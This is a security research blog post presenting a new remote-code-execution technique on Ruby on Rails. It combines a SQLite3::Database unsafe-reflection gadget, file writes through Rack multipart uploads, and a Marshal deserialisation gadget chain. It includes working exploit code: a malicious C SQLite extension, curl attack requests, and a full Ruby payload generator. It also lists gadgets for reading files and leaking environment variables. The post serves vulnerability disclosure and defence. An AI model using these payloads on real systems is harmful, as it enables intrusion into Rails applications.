Introduction

It is a well known security issue that allowing user controlled inputs in calls to the Ruby String#constantize, String#safe_constantize, Module#const_get and Module#qualified_const_get methods are insecure, since these methods allow the arbitrary loading of Ruby classes. For an example, the following code snippet would allow an attacker to initialise an object of any class:

vuln_params[:type].constantize.new(*vuln_params[:args])

This unsafe reflection has resulted in code execution vulnerabilities in the past, by initialising a new Logger object since the class previously used the Ruby Kernel#open method for opening the log file, which allowed the execution of terminal commands if the input begun with |. However, this method to achieve RCE has been patched since 2017 when the use of Kernel#open was changed to File.open to only allow the Logger class to create files.

It did pique our interest if the above dangerous construct could still result in arbitrary code execution on a minimal installation of Ruby on Rails, which resulted in the discovery of a new method by loading SQLite extension libraries via the SQLite3::Database class in the sqlite3 gem. Upon further investigation, this new SQLite3::Database reflection gadget could also be exploited in a new deserialisation gadget chain if user inputs were deserialised using Marshal.load on a Rails application with the sqlite3, activerecord and activesupport gems installed.

Past Research

Although brakeman has the check_unsafe_reflection rule for detecting potentially unsafe uses of the Ruby constantize or similar methods, a wide variety of exploitation techniques are fairly limited. The following articles were two notable investigations that identified several reflection gadgets that could be abused to impact a Ruby/Rails application:

Research Scope and Testing Environment Setup

The focus for this research was investigating if unsafe reflection or deserialisation of user controllable parameters on a Rails application could result in RCE. Testing was conducted on a minimal and default installation of Ruby on Rails with the following two endpoints, where the following Dockerfile (adapted from Luke Jahnke) was used to build the Docker image.

  • /reflection: Unsafe reflection of user controlled values to construct a new object.
  • /marshal: Unsafe deserialisation of a user controllable value using Marshal.load.
FROM ruby:3.4

RUN gem install rails:8.0.1

RUN rails new vuln_app --minimal --api

WORKDIR vuln_app/

RUN cat <<"EOF" > route_create_template.rb
  route 'post "/reflection", to: "vuln#reflection"'
  route 'post "/marshal", to: "vuln#marshal"'
EOF

RUN ./bin/rails app:template LOCATION=route_create_template.rb

RUN cat <<"EOF" > app/controllers/vuln_controller.rb
require "base64"

class VulnController < ApplicationController
  def reflection
    vuln_params[:type].constantize.new(*vuln_params[:args])
    render json: {success: true}
  end

  def marshal
    deserialised = Marshal.load(Base64.decode64(vuln_params[:deserialise]))
    render json: {data: deserialised.to_s}
  end

  def vuln_params
    params.permit!
  end
end
EOF

ENV RAILS_ENV="production"
ENTRYPOINT ["./bin/rails", "server", "--binding=0.0.0.0"]

Potential RCE Reflection Gadgets

The first task was to discover classes within installed gems and Ruby that could result in arbitrary code execution when an object is initialised. Using semgrep to assist with identifying the use of dangerous Ruby methods within the installed gems, over 1,000+ potential sinks were raised that were then manually investigated if input parameters for a constructor reached the sink.

This analysis resulted in the discovery of the following classes that were considered suitable candidates to investigate further.

  • RDoc::RI::Driver
    • The options[:extra_doc_dirs] option allows specifying extra folders for loading documentation, that initialises a new RDoc::Store object (source).
    • The load_cache method for the RDoc::Store object is then invoked, that appends cache.ri to the folder path that is then loaded using Marshal.load (source).
  • SQLite3::Database

A few other interesting constructor methods in the following classes were also discovered, but since the impact was not code execution they were not analysed further and are summarised below:

  • Logger
    • Can be used to create arbitrary files on the filesystem, but cannot control the file content (source).
    • Example: Logger.new("create/file/anywhere.txt")
  • Gem::ConfigFile
    • If one of the parameters is --debug, then it sets $DEBUG=true (source).
    • Example: Gem::ConfigFile.new(["--debug"])
  • TCPServer and TCPSocket
    • Both classes could be used to determine open internal ports by detecting when an exception is raised or not.
    • Example: TCPSocket.new("127.0.0.1", 1337)
  • ActiveRecord::ConnectionAdapters::SQLite3Adapter
    • Can be abused to create arbitrary folders on the filesystem.
    • Example: ActiveRecord::ConnectionAdapters::SQLite3Adapter.new({database: "created/anything"}) will create the folder ./created.
  • ActiveSupport::ConfigurationFile
    • Can be used to read arbitrary files from the filesystem, but depends on the attributes of the initialised object being returned to the user (e.g. call the to_json method and returning in a HTTP response).
    • Example: ActiveSupport::ConfigurationFile.new("/etc/passwd").to_json
  • ENV
    • Although the ENV variable is a hash-like accessor for environment variables, depending on the implementation of the unsafe reflection it is possible to leak environment variables.
    • Example: "ENV".constantize.to_json

Writing Files to the Filesystem on Ruby on Rails

Both the RDoc::RI::Driver and SQLite3::Database reflection gadgets depend on reading a user controllable file on the filesystem to leverage the arbitrary code execution sinks. The problem is that the test application does not have ActiveStorage or any other file upload functionality enabled. The TCPSocket and TCPServer (plus other networking classes) reflection gadgets could be used to open a file descriptor at /proc/self/fd/x, but the open syscall is unable to open these socket files.

The next option was to look into how Ruby on Rails handles multipart/form-data requests with uploaded files. Underneath the hood, Ruby on Rails uses Rack for handling the processing of web requests and responses. The following code snippet from rack/blob/main/lib/rack/multipart.rb shows the parse_multipart method that processes multipart/form-data requests with uploaded files.

      def parse_multipart(env, params = Rack::Utils.default_query_parser)
        unless io = env[RACK_INPUT]
          raise MissingInputError, "Missing input stream!"
        end

        if content_length = env['CONTENT_LENGTH']
          content_length = content_length.to_i
        end

        content_type = env['CONTENT_TYPE']

        tempfile = env[RACK_MULTIPART_TEMPFILE_FACTORY] || Parser::TEMPFILE_FACTORY
        bufsize = env[RACK_MULTIPART_BUFFER_SIZE] || Parser::BUFSIZE

        info = Parser.parse(io, content_length, content_type, tempfile, bufsize, params)
        env[RACK_TEMPFILES] = info.tmp_files

        return info.params
      end

Digging into Rack::Multipart::Parser class, it shows that a new TempFile is created with the contents of the uploaded file with the default prefix of RackMultipart.

module Rack
    module Multipart
        ...
        class Parser
        BUFSIZE = 1_048_576
        TEXT_PLAIN = "text/plain"
        TEMPFILE_FACTORY = lambda { |filename, content_type|
            extension = ::File.extname(filename.gsub("\0", '%00'))[0, 129]

            Tempfile.new(["RackMultipart", extension])
        }
        ...

This can be confirmed by sending a file in a POST request to a target Rails application, and then observing the temporary file in the /tmp folder (default location for temporary files).

NOTE: The / endpoint does not exist on the test application, but the file is still saved to the filesystem.

Example curl command to demonstrate uploading a file

cat hello.txt 
# i am in your filesystem :)
curl -F file=@hello.txt http://127.0.0.1:3000/

Showing the generated temporary file on the filesystem inside the Rails container

root@6986fa9afc11:/tmp# ls -al
total 12
drwxrwxrwt 1 root root 4096 Feb 25 14:29 .
drwxr-xr-x 1 root root 4096 Feb 25 14:28 ..
-rw------- 1 root root   27 Feb 25 14:29 RackMultipart20250225-1-sc9f98.txt
root@6986fa9afc11:/tmp# cat RackMultipart20250225-1-sc9f98.txt 
i am in your filesystem :)
root@6986fa9afc11:/tmp# 

One problem with this method of file upload is that although the extension value can be controlled by the user, the filename cannot be controlled so the RDoc::RI::Driver gadget is no longer a valid candidate for this scenario. This is because when a new RDoc::RI::Driver object is initialised with the options[:extra_doc_dirs] option, it deserialises the cache.ri file in the provided folder.

The other issue is determining the last six characters of the temporary filename before the extension. However, when a temporary file is created, the Rails process opens a file descriptor that is a symbolic link to the temporary file, where file descriptor numbers are significantly easier to enumerate than a Ruby temporary file name.

Example showing that /proc/self/fd/12 is a symboilic link to the temporary file

root@6986fa9afc11:/proc/1/fd# ls -al
total 0
dr-x------ 2 root root 12 Feb 25 14:30 .
dr-xr-xr-x 9 root root  0 Feb 25 14:28 ..
lrwx------ 1 root root 64 Feb 25 14:30 0 -> /dev/null
l-wx------ 1 root root 64 Feb 25 14:30 1 -> 'pipe:[78561674]'
l-wx------ 1 root root 64 Feb 25 14:30 10 -> 'pipe:[78556734]'
lrwx------ 1 root root 64 Feb 25 14:30 12 -> /tmp/RackMultipart20250225-1-sc9f98.txt
l-wx------ 1 root root 64 Feb 25 14:30 2 -> 'pipe:[78561675]'
lrwx------ 1 root root 64 Feb 25 14:30 3 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Feb 25 14:30 4 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Feb 25 14:30 5 -> 'socket:[78556732]'
lr-x------ 1 root root 64 Feb 25 14:30 6 -> 'pipe:[78556733]'
l-wx------ 1 root root 64 Feb 25 14:30 7 -> 'pipe:[78556733]'
lrwx------ 1 root root 64 Feb 25 14:30 8 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Feb 25 14:30 9 -> 'pipe:[78556734]'
root@6986fa9afc11:/proc/1/fd# cat /proc/1/fd/12
i am in your filesystem :)
root@6986fa9afc11:/proc/1/fd# 

Exploiting the SQLite3::Database Reflection Gadget

To confirm if /proc/self/fd/{num} paths could be loaded as a SQLite extension, first a basic POC library was compiled using the following source code and gcc command.

C POC file that will create a file at /tmp/rce-conf.txt to confirm code execution

#include <unistd.h>

int sqlite3_extension_init(void)
{
    system("touch /tmp/rce-conf.txt");
    return 0;
}

gcc command to compile the malicious SQLite extension

gcc -shared -fPIC -o payload.so poc.c

Uploading the payload.so to the application, Rack opened a new file descriptor to the temporary file at /proc/self/fd/13.

root@6986fa9afc11:/proc/1/fd# ls -al
total 0
dr-x------ 2 root root 13 Feb 25 14:30 .
dr-xr-xr-x 9 root root  0 Feb 25 14:28 ..
lrwx------ 1 root root 64 Feb 25 14:30 0 -> /dev/null
l-wx------ 1 root root 64 Feb 25 14:30 1 -> 'pipe:[78561674]'
l-wx------ 1 root root 64 Feb 25 14:30 10 -> 'pipe:[78556734]'
lrwx------ 1 root root 64 Feb 25 14:30 12 -> /tmp/RackMultipart20250225-1-sc9f98.txt
lrwx------ 1 root root 64 Feb 25 14:30 13 -> /tmp/RackMultipart20250225-1-oji5wc.so
l-wx------ 1 root root 64 Feb 25 14:30 2 -> 'pipe:[78561675]'
lrwx------ 1 root root 64 Feb 25 14:30 3 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Feb 25 14:30 4 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Feb 25 14:30 5 -> 'socket:[78556732]'
lr-x------ 1 root root 64 Feb 25 14:30 6 -> 'pipe:[78556733]'
l-wx------ 1 root root 64 Feb 25 14:30 7 -> 'pipe:[78556733]'
lrwx------ 1 root root 64 Feb 25 14:30 8 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Feb 25 14:30 9 -> 'pipe:[78556734]'
root@6986fa9afc11:/proc/1/fd# 

Finally, the below curl command would load /proc/self/fd/13 as a SQLite extension when the SQLite3::Database object is initialised.

curl \
  -H 'Content-Type: application/json' \
  -d '{"type": "SQLite3::Database", "args": ["/tmp/rce.db", {"extensions": ["/proc/self/fd/13"]}]}' \
  http://127.0.0.1:3000/reflection

The creation of the /tmp/rce-conf.txt confirms that the uploaded SQLite extension was executed

root@6986fa9afc11:/tmp# ls -al
total 28
drwxrwxrwt 1 root root  4096 Feb 25 14:32 .
drwxr-xr-x 1 root root  4096 Feb 25 14:28 ..
-rw------- 1 root root 15560 Feb 25 14:30 RackMultipart20250225-1-oji5wc.so
-rw------- 1 root root    27 Feb 25 14:29 RackMultipart20250225-1-sc9f98.txt
-rw-r--r-- 1 root root     0 Feb 25 14:32 rce-conf.txt
-rw-r--r-- 1 root root     0 Feb 25 14:31 rce.db
root@6986fa9afc11:/tmp# 

This confirms that any Rails application with the sqlite3 gem installed (which is installed by default) that allow the unsafe reflection of user inputs could result in RCE. Rack enables an attacker to upload a malicious SQLite extension to the filesystem that is loaded during the construction of a SQLite3::Database object by using /proc/self/fd/x filepaths, which an external attacker could easily enumerate.

Adapting the SQLite3::Database Reflection Gadget into a Deserialisation Gadget

The next challenge was to investigate if SQLite3::Database objects could be leveraged in a deserialisation gadget chain to achieve RCE on a Rails application. The first step was to confirm if SQLite3::Database objects could be serialised, which is unfortunately not the case as it shows in the screenshot below.

However, it was discovered that the ActiveRecord::ConnectionAdapters::SQLite3Adapter class initialises a new SQLite3::Database object when the connect! method is invoked, as it shows in the following code snippet.

...
module ActiveRecord
  module ConnectionAdapters # :nodoc:
    # = Active Record \SQLite3 Adapter
    #
    # The \SQLite3 adapter works with the sqlite3[https://sparklemotion.github.io/sqlite3-ruby/]
    # driver.
    #
    # Options:
    #
    # * +:database+ (String): Filesystem path to the database file.
    # * +:statement_limit+ (Integer): Maximum number of prepared statements to cache per database connection. (default: 1000)
    # * +:timeout+ (Integer): Timeout in milliseconds to use when waiting for a lock. (default: no wait)
    # * +:strict+ (Boolean): Enable or disable strict mode. When enabled, this will
    #   {disallow double-quoted string literals in SQL
    #   statements}[https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted].
    #   (default: see strict_strings_by_default)
    # * +:extensions+ (Array): (<b>requires sqlite3 v2.4.0</b>) Each entry specifies a sqlite extension
    #   to load for this database. The entry may be a filesystem path, or the name of a class that
    #   responds to +.to_path+ to provide the filesystem path for the extension. See {sqlite3-ruby
    #   documentation}[https://sparklemotion.github.io/sqlite3-ruby/SQLite3/Database.html#class-SQLite3::Database-label-SQLite+Extensions]
    #   for more information.
    #
    # There may be other options available specific to the SQLite3 driver. Please read the
    # documentation for
    # {SQLite::Database.new}[https://sparklemotion.github.io/sqlite3-ruby/SQLite3/Database.html#method-c-new]
    #
    class SQLite3Adapter < AbstractAdapter
      ADAPTER_NAME = "SQLite"

      class << self
        def new_client(config)
          ::SQLite3::Database.new(config[:database].to_s, config)
        rescue Errno::ENOENT => error
          ...
        end
        ...
      end
      ...
      def connect
        @raw_connection = self.class.new_client(@connection_parameters)
      rescue ConnectionNotEstablished => ex
        raise ex.set_pool(@pool)
      end
      ...
    end
    ActiveSupport.run_load_hooks(:active_record_sqlite3adapter, SQLite3Adapter)
  end
end

Using the infamous ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy gadget, a deserialised DeprecatedInstanceVariableProxy object could be used to invoke the connect! method of a deserialised ActiveRecord::ConnectionAdapters::SQLite3Adapter object, which was first utilised back in 2013 by Hailey Somerville to exploit CVE-2013-0156. Since 2013, the DeprecatedInstanceVariableProxy gadget now requires the @deprecator instance variable to be set, otherwise an exception would be raised before executing the deserialised payload.

Putting all these points together in a gadget chain, the following proof-of-concept script was developed:

# usage: ruby sqlite-marshal-poc.rb {fd}
# example: ruby sqlite-marshal-poc.rb 13

require "base64"
require "concurrent"

class ActiveRecord
  class ConnectionAdapters
    class SQLite3Adapter
      def initialize(...)
        @connection_parameters = nil
        @config = nil
        @lock = nil
      end
    end
  end
end

class ActiveSupport
  class Concurrency
    module NullLock

    end
  end

  class Deprecation
    def initialize()
      @gem_name="Rails"
      @deprecation_horizon="8.1"
      @silenced=false
      @debug=false
      @silence_counter=Concurrent::ThreadLocalVar.new(0)
      @default_block=nil
      @default=0
      @index=21
      @explicitly_allowed_warnings=Concurrent::ThreadLocalVar.new(nil)
      @default_block=nil
      @default=nil
      @index=22
    end

    class DeprecatedInstanceVariableProxy
      def initialize(instance, method)
        @instance = instance
        @method = method
      end
    end
  end
end

fd = ARGV[0]
if fd == nil
  abort("Need to set target fd")
end
adptr = ActiveRecord::ConnectionAdapters::SQLite3Adapter.allocate
adptr.instance_variable_set("@connection_parameters", {database: "/tmp/r.db", extensions: ["/proc/self/fd/#{fd}"]})
adptr.instance_variable_set("@config", {connection_retries: 1, database: ":memory:"})
adptr.instance_variable_set("@lock", ActiveSupport::Concurrency::NullLock)

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, adptr
depr.instance_variable_set :@method, :connect!
depr.instance_variable_set :@var, "@connect!"
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new

payload = Base64.encode64(Marshal.dump(depr)).gsub("\n", "")

puts payload

To demonstrate this new deserialisation payload, the same payload.so from the previous section was uploaded to the test application that opened a file descriptor at /proc/self/fd/12.

root@f843c5a7802e:/proc/1/fd# ls -al
total 0
dr-x------ 2 root root 12 Feb 27 12:11 .
dr-xr-xr-x 9 root root  0 Feb 27 12:10 ..
lrwx------ 1 root root 64 Feb 27 12:11 0 -> /dev/null
l-wx------ 1 root root 64 Feb 27 12:11 1 -> 'pipe:[83117945]'
l-wx------ 1 root root 64 Feb 27 12:11 10 -> 'pipe:[83121125]'
lrwx------ 1 root root 64 Feb 27 12:11 12 -> /tmp/RackMultipart20250227-1-9ni25f.so
l-wx------ 1 root root 64 Feb 27 12:11 2 -> 'pipe:[83117946]'
lrwx------ 1 root root 64 Feb 27 12:11 3 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Feb 27 12:11 4 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Feb 27 12:11 5 -> 'socket:[83080004]'
lr-x------ 1 root root 64 Feb 27 12:11 6 -> 'pipe:[83121124]'
l-wx------ 1 root root 64 Feb 27 12:11 7 -> 'pipe:[83121124]'
lrwx------ 1 root root 64 Feb 27 12:11 8 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Feb 27 12:11 9 -> 'pipe:[83121125]'
root@f843c5a7802e:/proc/1/fd# 

The following curl command then exploits the Marshal.load vulnerability on the /marshal endpoint on the test application that results in the initialisation of the SQLite3::Database object that loads the SQLite extension.

curl -H 'Content-Type: application/json' \
  -d '{"deserialise":"'$(ruby sqlite-marshal-poc.rb 12 | tr -d '\n')'"}' \
  http://127.0.0.1:3000/marshal

Once again, the creation of the /tmp/rce-conf.txt file confirms that the SQLite extension was successfully executed, confirming RCE.

root@f843c5a7802e:/tmp# ls -al
total 24
drwxrwxrwt 1 root root  4096 Feb 27 12:20 .
drwxr-xr-x 1 root root  4096 Feb 27 12:10 ..
-rw------- 1 root root 15560 Feb 27 12:11 RackMultipart20250227-1-9ni25f.so
-rw-r--r-- 1 root root     0 Feb 27 12:20 r.db
-rw-r--r-- 1 root root     0 Feb 27 12:20 rce-conf.txt
root@f843c5a7802e:/tmp# 

This new gadget chain could be exploited to achieve RCE on any Rails application that allows the unsafe deserialisation of user controlled inputs and has the sqlite3, activerecord and activesupport gems installed; where all three of these gems are installed by default on a minimal installation of Ruby on Rails. Considering that the DeprecatedInstanceVariableProxy gadget has been known about since 2013, plus this gadget chain exploits the legitimate requirement to allow the loading of SQLite3 extensions when initialising a database connection, it is speculated that this gadget chain could be viable for some time.

Conclusion

The SQLite3::Database reflection gadget that was demonstrated in this article showed that unsafe Ruby reflection and construction of new objects using user inputs could still result in arbitrary code execution if the sqlite3 gem installed, which is installed by default on a minimal installation of Rails. In addition, this article showcases a method to write files to the /tmp folder by abusing Rack’s file upload parsing and accessing the contents of the file through /proc/self/fd/x, which could be utilised in exploiting other vulnerabilities that depend on file write on a Rails application.

Using our research about the SQLite3::Database reflection gadget, a new gadget chain was discovered that could be exploited to achieve RCE if the activerecord and activesupport gems installed, which they are by default on Ruby on Rails.

In conclusion, this research could potentially result in new RCE vulnerabilities being discovered once again on Rails applications that reflect or deserialise user controllable inputs.

References

Latest Posts

Blog New Method to Leverage Unsafe Reflection and Deserialisation to RCE on Rails

By Alex Brown March 04, 2025

This blog article documents a new unsafe reflection gadget in the sqlite3 gem, that can also be used in a deserialisation gadget chain to achieve RCE and is installed by default in new Rails applications.

Blog A Monocle on Chronicles

By Matt October 02, 2024

This post provides an overview of Talkback Chronicles for viewing snapshots of trending infosec resources for points in time, and also how to subscribe to a new weekly Newsletter feature.

Blog DUCTF 2024 ESPecially Secure Boot Writeup

By daniel August 01, 2024

This blog post covers a DUCTF 2024 pwn challenge called "ESPecially Secure Boot", which required writing an exploit for CVE-2018-18558.